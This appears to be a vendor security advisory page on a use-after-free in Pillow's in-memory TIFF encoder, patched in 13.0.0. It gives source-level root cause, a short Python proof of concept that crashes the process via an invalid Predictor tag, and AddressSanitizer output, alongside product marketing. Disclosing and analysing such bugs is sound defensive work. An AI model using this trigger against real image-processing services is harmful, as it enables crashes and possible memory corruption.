CVE-2026-112396

CVE-2026-112396 is a medium-severity use after free vulnerability in pillow (pip), affecting versions >= 11.3.0, < 13.0.0. It is fixed in 13.0.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

  • src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

  • src/encode.c:99-101
  • src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

  • src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC

import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.

CVE-2026-112396 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (13.0.0); upgrading removes the vulnerable code path.

Affected versions

pillow (>= 11.3.0, < 13.0.0)

Security releases

pillow → 13.0.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade pillow to 13.0.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-112396? CVE-2026-112396 is a medium-severity use after free vulnerability in pillow (pip), affecting versions >= 11.3.0, < 13.0.0. It is fixed in 13.0.0. Memory is accessed after it has been freed, leading to undefined behavior in native code.
  2. How severe is CVE-2026-112396? CVE-2026-112396 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of pillow are affected by CVE-2026-112396? pillow (pip) versions >= 11.3.0, < 13.0.0 is affected.
  4. Is there a fix for CVE-2026-112396? Yes. CVE-2026-112396 is fixed in 13.0.0. Upgrade to this version or later.
  5. Is CVE-2026-112396 exploitable, and should I be worried? Whether CVE-2026-112396 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-112396 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-112396? Upgrade pillow to 13.0.0 or later.

Other vulnerabilities in pillow

Stop the waste.
Protect your environment with Kodem.